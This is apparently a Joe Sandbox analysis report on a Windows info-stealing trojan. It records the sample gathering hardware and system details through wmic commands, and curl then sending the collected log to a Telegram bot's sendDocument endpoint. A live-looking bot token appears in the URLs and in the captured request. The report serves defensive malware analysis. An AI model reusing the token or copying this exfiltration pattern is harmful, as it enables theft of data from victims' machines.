https://api.telegram.org/bot7068399075:AAEU8zRzCqB0URyCZuIuzOS0iXNMCPf1hu4/sendDocumentLC	curl.exe, 0000002D.00000002.2465599836.0000025DD64DF000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000002D.00000003.2464866626.0000025DD64DD000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000002D.00000003.2465157934.0000025DD64DF000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000002D.00000003.2464902792.0000025DD64DE000.00000004.00000020.00020000.00000000.sdmp	false	high
https://api.telegram.org/bot7068399075:AAEU8zRzCqB0URyCZuIuzOS0iXNMCPf1hu4o.txt1q	9KEZfGRjyK.exe, 00000000.00000002.2465951208.0000021FE02CB000.00000004.00000020.00020000.00000000.sdmp	false	high
https://api.telegram.org/bot7068399075:AAEU8zRzCqB0URyCZuIuzOS0iXNMCPf1hu4/sendDocumentapi.telegram.	curl.exe, 0000002D.00000003.2464866626.0000025DD64DD000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000002D.00000003.2465008395.0000025DD64DD000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000002D.00000003.2465157934.0000025DD64DD000.00000004.00000020.00020000.00000000.sdmp	false	high
https://api.telegram.org/botctK.exe	9KEZfGRjyK.exe, 00000000.00000002.2465951208.0000021FE02CB000.00000004.00000020.00020000.00000000.sdmp	false	high
https://docs.rs/getrandom#nodejs-es-module-support	9KEZfGRjyK.exe	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
149.154.167.220	api.telegram.org	United Kingdom		62041	TELEGRAMRU	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1578571
Start date and time:	2024-12-19 22:43:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 26s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	49
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	9KEZfGRjyK.exe renamed because original name is a hash value
Original Sample Name:	73b0e64dcc0df2f2ac4d461245021e6a.exe
Detection:	MAL
Classification:	mal72.troj.evad.winEXE@64/2@1/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 17 Number of non-executed functions: 55
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, WmiPrvSE.exe
Excluded IPs from analysis (whitelisted): 20.12.23.50, 13.107.246.63
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtReadVirtualMemory calls found.
VT rate limit hit for: 9KEZfGRjyK.exe

Simulations

Behavior and APIs

Time	Type	Description
16:43:58	API Interceptor	8x Sleep call for process: WMIC.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
149.154.167.220	file.exe	Get hash	malicious	NetSupport RAT, LummaC, Amadey, Blank Grabber, LummaC Stealer, PureLog Stealer	Browse
	PURCHASE ORDER TRC-090971819130-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	PAYMENT ADVICE 750013-1012449943-81347-pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	66776676676.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse
	_Company.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	F.O Pump Istek,Docx.bat	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger	Browse
	D.G Governor Istek,Docx.exe	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger	Browse
	Nuevo pedido de cotizaci#U00f3n 663837 4899272.pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	PAYMENT SWIFT AND SOA TT07180016-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	chrome11.exe	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
api.telegram.org	PURCHASE ORDER TRC-090971819130-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	PAYMENT ADVICE 750013-1012449943-81347-pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	66776676676.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	_Company.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	F.O Pump Istek,Docx.bat	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger	Browse	149.154.167.220
	D.G Governor Istek,Docx.exe	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger	Browse	149.154.167.220
	Nuevo pedido de cotizaci#U00f3n 663837 4899272.pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	PAYMENT SWIFT AND SOA TT07180016-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	chrome11.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	chrome11.exe	Get hash	malicious	Unknown	Browse	149.154.167.220

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELEGRAMRU	file.exe	Get hash	malicious	NetSupport RAT, LummaC, Amadey, Blank Grabber, LummaC Stealer, PureLog Stealer	Browse	149.154.167.220
	file.exe	Get hash	malicious	ScreenConnect Tool, LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar	Browse	149.154.167.99
	PURCHASE ORDER TRC-090971819130-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	PAYMENT ADVICE 750013-1012449943-81347-pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	66776676676.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	pM3fQBuTLy.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	QIo3SytSZA.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	_Company.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	F.O Pump Istek,Docx.bat	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger	Browse	149.154.167.220
	D.G Governor Istek,Docx.exe	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger	Browse	149.154.167.220

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
74954a0c86284d0d6e1c4efefe92b521	Hkeyboard.dll	Get hash	malicious	Unknown	Browse	149.154.167.220
	67618a47ee8c5.vbs	Get hash	malicious	Mint Stealer	Browse	149.154.167.220
	PKO_0019868519477_PDF_#U2462#U2465#U2461#U2465#U2467#U2464#U2464#U2466.hta	Get hash	malicious	Mint Stealer	Browse	149.154.167.220
	webhook.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	loader.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	loader.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	chos.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	file.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	yiDQb6GkBq.exe	Get hash	malicious	Amadey, LummaC Stealer, Vidar	Browse	149.154.167.220
	Document.lnk.download.lnk	Get hash	malicious	Unknown	Browse	149.154.167.220

Process:	C:\Users\user\Desktop\9KEZfGRjyK.exe
File Type:	ASCII text, with CRLF, CR, LF line terminators
Category:	dropped
Size (bytes):	3358
Entropy (8bit):	4.789579967493789
Encrypted:	false
SSDEEP:	96:z5DMzjuDyC2+qS8wSkKdQe82+Uq1OcCXL:9DqC2+qSPSkKJ82tLXL
MD5:	CD0F502444307F4021FE0A2F8D203787
SHA1:	8902442774AE4A231AA92A89E962C812A80AFA24
SHA-256:	E9960F02B7753EFCD72E7AC77E1C6E2AD7673291BA77CB53400C439C0DC820E1
SHA-512:	A1D7AABF0003F48BCB35B5CF6C90681C776ECB70AC763E15547D952050735F4EFFA52876D710F1F56C591F47C9B278A413D659AD43E39336537389EAE251A863
Malicious:	false
Preview:	Computer Name: user-PC.User Name: user.BIOS Serial Number: SerialNumber ...8Z7GLAHHRT.Motherboard Serial Number: SerialNumber ...4895672044416658.CPU Info: Name ...Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz ...Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz.Total RAM: TotalPhysicalMemory ...4293971968.Disk Info: Model Size ...ANZ1RF5L SCSI Disk Device 412300001200.Antivirus: displayName ...Windows Defender.MAC Address: Physical Address Transport Name ..=================== ==========================================================..EC-F4-BB-EA-15-88 \Device\Tcpip_{E3B92EAA-F5C7-47F8-A487-F466F42035A1}.System Info: Host Name: user-PC..OS Name: Microsoft Windows 10 Pro..OS Version: 10.0.19045 N/A Build 19045..OS Manufacturer: Microsoft Corporation..OS Configuration: Standalone Workstation..OS Build Type:

\Device\Null

Download File

Process:	C:\Windows\System32\curl.exe
File Type:	ASCII text, with CRLF, CR line terminators
Category:	dropped
Size (bytes):	557
Entropy (8bit):	3.10752934803616
Encrypted:	false
SSDEEP:	6:I2swj2SAykymUeC3/8UniegCSgOgcdSgOgcdivIdcFFmVvT02FcaVlx:Vz6ykymUePbnc9cL9cddcFFir02FNHx
MD5:	7275061B2B7E13CB9F3A95E0A4E7811E
SHA1:	0136EB08108C1E19B647CCF7988A23E0018DF5E4
SHA-256:	6557EE4847B998344908C9F37FA02A2760A2366EF3473D0865CEB914E23D0B8A
SHA-512:	2A8591FEC4837B451BC8561A8BFA82E5628C02DAE87237FAC10CE34655C91B5BDCC6FC78316741651BAC5399DE58A86E6F1B1590838565EF6D37458E5B84FFC9
Malicious:	false
Preview:	% Total % Received % Xferd Average Speed Time Time Time Current.. Dload Upload Total Spent Left Speed... 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0. 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0. 0 0 0 0 0 0 0 0 --:--:-- 0:00:01 --:--:-- 0. 88 4130 0 0 100 3664 0 1434 0:00:02 0:00:02 --:--:-- 1435.100 4130 100 466 100 3664 182 1432 0:00:02 0:00:02 --:--:-- 1615..

Static File Info

General

File type:	PE32+ executable (GUI) x86-64, for MS Windows
Entropy (8bit):	6.301112846910871
TrID:	Win64 Executable GUI (202006/5) 92.65% Win64 Executable (generic) (12005/4) 5.51% Generic Win/DOS Executable (2004/3) 0.92% DOS Executable Generic (2002/1) 0.92% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	9KEZfGRjyK.exe
File size:	378'880 bytes
MD5:	73b0e64dcc0df2f2ac4d461245021e6a
SHA1:	ff75ef00e33fb953964d6bbe1d86d5ad8bb8c9ba
SHA256:	99a4d0ac34848d665529220a0a04edd2753aba9ffe8434286967875d05643400
SHA512:	e6921dcba48d193bd592d316613a3fffc7bdf03868ff07dd2553cc32bbf2318dc54f777a90ecb2c2782471567f7657f9185f65814e43e7c0f5d820593ccbcf99
SSDEEP:	6144:lE3fAFcnP6AAHOZ7Uh2EaGQGGapOdTFTh8kJM1VZn:lE34FgAEGQGGTx+WM1
TLSH:	B9845B25FE565DACD58BC0B482128A726932B8CE0B31B9FF12D442353E69AF16F3C754
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......H7...V`..V`..V`......V`...c..V`...d..V`...e.$V`.G.a..V`..Va..V`..V`.6V`......V`...b..V`.Rich.V`.........PE..d.....dg.........."

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x140038d60
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x67648104 [Thu Dec 19 20:24:36 2024 UTC]
TLS Callbacks:	0x4002a890, 0x1
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	df132870cc8376ee210867916013d887

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
call 00007F7AF4FB0908h
dec eax
add esp, 28h
jmp 00007F7AF4FB0497h
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
nop word ptr [eax+eax+00000000h]
dec eax
sub esp, 10h
dec esp
mov dword ptr [esp], edx
dec esp
mov dword ptr [esp+08h], ebx
dec ebp
xor ebx, ebx
dec esp
lea edx, dword ptr [esp+18h]
dec esp
sub edx, eax
dec ebp
cmovb edx, ebx
dec esp
mov ebx, dword ptr [00000010h]
dec ebp
cmp edx, ebx
jnc 00007F7AF4FB0638h
inc cx
and edx, 8D4DF000h
wait
add al, dh

Rich Headers

Programming Language:

[IMP] VS2008 SP1 build 30729

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x582bc	0x104	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x5f000	0x1f8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x5b000	0x2a9c	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x60000	0x668	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x50ff0	0x54	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x51200	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x50eb0	0x140	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x40000	0x458	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x3ed70	0x3ee00	b18ef078dbb571020d954c6b115eb34c	False	0.4967344371272366	data	6.355785043053073	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x40000	0x192fa	0x19400	a57eadc0bc392731421b1ee050a6b056	False	0.38722153465346537	data	5.407331463120315	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x5a000	0xac0	0x200	cdb4f452a9c373c6ece62e34b50b2fbe	False	0.28515625	data	2.4546151187241256	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0x5b000	0x2a9c	0x2c00	a18a17c2855b033d9d8056b0eb1b3c8c	False	0.4833984375	data	5.455692511911118	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.padding	0x5e000	0x8a4	0xa00	7b7f26e348909ab91cf74011db8d3a94	False	0.891015625	data	7.3761949714995865	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x5f000	0x1f8	0x200	f63d27195363577233775bb9fd0e9a51	False	0.484375	data	2.830251446092126	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x60000	0x668	0x800	e005ebc65f734c9ef812873e4dc54879	False	0.5458984375	data	4.849281107799458	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x5f060	0x198	OpenPGP Public Key	English	United States	0.5122549019607843

Imports

DLL	Import
api-ms-win-core-synch-l1-2-0.dll	WakeByAddressAll, WakeByAddressSingle, WaitOnAddress
bcryptprimitives.dll	ProcessPrng
bcrypt.dll	BCryptGenRandom
ADVAPI32.dll	SystemFunction036
kernel32.dll	EncodePointer, RaiseException, RtlPcToFileHeader, RtlUnwindEx, IsProcessorFeaturePresent, SetUnhandledExceptionFilter, UnhandledExceptionFilter, IsDebuggerPresent, InitializeSListHead, GetStdHandle, GetCurrentProcessId, GetSystemTimeAsFileTime, GetCurrentThreadId, WriteFileEx, SleepEx, GetExitCodeProcess, TerminateProcess, GetSystemTimePreciseAsFileTime, SetWaitableTimer, HeapReAlloc, lstrlenW, ReleaseMutex, FindClose, CreateWaitableTimerExW, GetFileInformationByHandle, GetFileInformationByHandleEx, GetCurrentThread, FindFirstFileW, ReadFile, GetOverlappedResult, CancelIo, GetCurrentProcess, SetThreadStackGuarantee, GetConsoleMode, SetFileInformationByHandle, GetModuleHandleW, GetModuleFileNameW, CreateNamedPipeW, ReadFileEx, WaitForMultipleObjects, GetFullPathNameW, GetSystemDirectoryW, GetWindowsDirectoryW, CreateProcessW, GetFileAttributesW, InitializeProcThreadAttributeList, UpdateProcThreadAttribute, MultiByteToWideChar, WriteConsoleW, WideCharToMultiByte, CreateThread, GetModuleHandleA, AddVectoredExceptionHandler, GetEnvironmentVariableW, GetEnvironmentStringsW, CompareStringOrdinal, GetCurrentDirectoryW, WaitForSingleObjectEx, LoadLibraryA, CreateMutexA, DeleteProcThreadAttributeList, FreeEnvironmentStringsW, GetTimeZoneInformationForYear, DeleteCriticalSection, InitializeCriticalSectionAndSpinCount, FormatMessageW, SetLastError, RtlVirtualUnwind, TlsAlloc, WaitForSingleObject, CreateEventW, TlsGetValue, TlsSetValue, GetLastError, TlsFree, HeapAlloc, FreeLibrary, RtlLookupFunctionEntry, GetProcAddress, HeapFree, GetProcessHeap, GetComputerNameExW, CloseHandle, RtlCaptureContext, QueryPerformanceCounter, DuplicateHandle, Sleep, CreateFileW, LoadLibraryExW
ntdll.dll	RtlNtStatusToDosError, NtReadFile, NtWriteFile
api-ms-win-crt-string-l1-1-0.dll	strcpy_s, wcsncmp
api-ms-win-crt-runtime-l1-1-0.dll	exit, _initterm_e, _initialize_onexit_table, _get_initial_narrow_environment, _initialize_narrow_environment, _configure_narrow_argv, __p___argc, _set_app_type, _seh_filter_exe, _crt_atexit, terminate, __p___argv, abort, _cexit, _c_exit, _register_onexit_function, _exit, _register_thread_local_exe_atexit_callback, _initterm
api-ms-win-crt-math-l1-1-0.dll	__setusermatherr
api-ms-win-crt-stdio-l1-1-0.dll	__p__commode, _set_fmode
api-ms-win-crt-locale-l1-1-0.dll	_configthreadlocale
api-ms-win-crt-heap-l1-1-0.dll	calloc, malloc, free, _set_new_mode

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 19, 2024 22:45:13.956825018 CET	49775	443	192.168.2.4	149.154.167.220
Dec 19, 2024 22:45:13.956885099 CET	443	49775	149.154.167.220	192.168.2.4
Dec 19, 2024 22:45:13.956979036 CET	49775	443	192.168.2.4	149.154.167.220
Dec 19, 2024 22:45:13.976814985 CET	49775	443	192.168.2.4	149.154.167.220
Dec 19, 2024 22:45:13.976846933 CET	443	49775	149.154.167.220	192.168.2.4
Dec 19, 2024 22:45:15.351644039 CET	443	49775	149.154.167.220	192.168.2.4
Dec 19, 2024 22:45:15.351911068 CET	49775	443	192.168.2.4	149.154.167.220
Dec 19, 2024 22:45:15.353914976 CET	49775	443	192.168.2.4	149.154.167.220
Dec 19, 2024 22:45:15.353949070 CET	443	49775	149.154.167.220	192.168.2.4
Dec 19, 2024 22:45:15.354239941 CET	443	49775	149.154.167.220	192.168.2.4
Dec 19, 2024 22:45:15.357839108 CET	49775	443	192.168.2.4	149.154.167.220
Dec 19, 2024 22:45:15.358272076 CET	49775	443	192.168.2.4	149.154.167.220
Dec 19, 2024 22:45:15.358310938 CET	443	49775	149.154.167.220	192.168.2.4
Dec 19, 2024 22:45:16.360083103 CET	443	49775	149.154.167.220	192.168.2.4
Dec 19, 2024 22:45:16.360304117 CET	443	49775	149.154.167.220	192.168.2.4
Dec 19, 2024 22:45:16.360411882 CET	49775	443	192.168.2.4	149.154.167.220
Dec 19, 2024 22:45:16.381330967 CET	49775	443	192.168.2.4	149.154.167.220
Dec 19, 2024 22:45:16.381387949 CET	443	49775	149.154.167.220	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 19, 2024 22:45:13.816239119 CET	53344	53	192.168.2.4	1.1.1.1
Dec 19, 2024 22:45:13.953747034 CET	53	53344	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 19, 2024 22:45:13.816239119 CET	192.168.2.4	1.1.1.1	0x4c5c	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 19, 2024 22:45:13.953747034 CET	1.1.1.1	192.168.2.4	0x4c5c	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

api.telegram.org

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49775	149.154.167.220	443	5780	C:\Windows\System32\curl.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 21:45:15 UTC	251	OUT	POST /bot7068399075:AAEU8zRzCqB0URyCZuIuzOS0iXNMCPf1hu4/sendDocument HTTP/1.1 Host: api.telegram.org User-Agent: curl/7.83.1 Accept: / Content-Length: 3664 Content-Type: multipart/form-data; boundary=------------------------cdbe2087272a7b9c
2024-12-19 21:45:15 UTC	3664	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 63 64 62 65 32 30 38 37 32 37 32 61 37 62 39 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 68 61 74 5f 69 64 22 0d 0a 0d 0a 2d 34 31 39 33 37 31 30 32 37 31 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 63 64 62 65 32 30 38 37 32 37 32 61 37 62 39 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 35 32 38 31 31 30 2d 34 31 37 34 2d 31 2e 6c 6f 67 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 70 6c 61 69 6e 0d Data Ascii: --------------------------cdbe2087272a7b9cContent-Disposition: form-data; name="chat_id"-4193710271--------------------------cdbe2087272a7b9cContent-Disposition: form-data; name="document"; filename="528110-4174-1.log"Content-Type: text/plain
2024-12-19 21:45:16 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 19 Dec 2024 21:45:16 GMT Content-Type: application/json Content-Length: 466 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-19 21:45:16 UTC	466	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 30 32 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 30 36 38 33 39 39 30 37 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 56 69 72 74 75 61 6c 62 65 61 6d 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 69 72 74 75 61 6c 62 65 61 6d 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 2d 34 31 39 33 37 31 30 32 37 31 2c 22 74 69 74 6c 65 22 3a 22 50 72 69 76 61 74 65 20 2d 20 73 74 6f 72 61 67 65 22 2c 22 74 79 70 65 22 3a 22 67 72 6f 75 70 22 2c 22 61 6c 6c 5f 6d 65 6d 62 65 72 73 5f 61 72 65 5f 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 73 22 3a 74 72 75 65 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 36 34 34 Data Ascii: {"ok":true,"result":{"message_id":3028,"from":{"id":7068399075,"is_bot":true,"first_name":"Virtualbeam","username":"Virtualbeam_bot"},"chat":{"id":-4193710271,"title":"Private - storage","type":"group","all_members_are_administrators":true},"date":1734644

Target ID:	0
Start time:	16:43:58
Start date:	19/12/2024
Path:	C:\Users\user\Desktop\9KEZfGRjyK.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\9KEZfGRjyK.exe"
Imagebase:	0x7ff7b9010000
File size:	378'880 bytes
MD5 hash:	73B0E64DCC0DF2F2AC4D461245021E6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	16:43:58
Start date:	19/12/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	"wmic" bios get serialnumber
Imagebase:	0x7ff61e0e0000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	16:43:58
Start date:	19/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	16:43:59
Start date:	19/12/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	"wmic" baseboard get serialnumber
Imagebase:	0x7ff61e0e0000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	16:43:59
Start date:	19/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	16:43:59
Start date:	19/12/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	"wmic" cpu get name
Imagebase:	0x7ff61e0e0000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	16:43:59
Start date:	19/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	16:44:00
Start date:	19/12/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	"wmic" computersystem get totalphysicalmemory
Imagebase:	0x7ff61e0e0000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
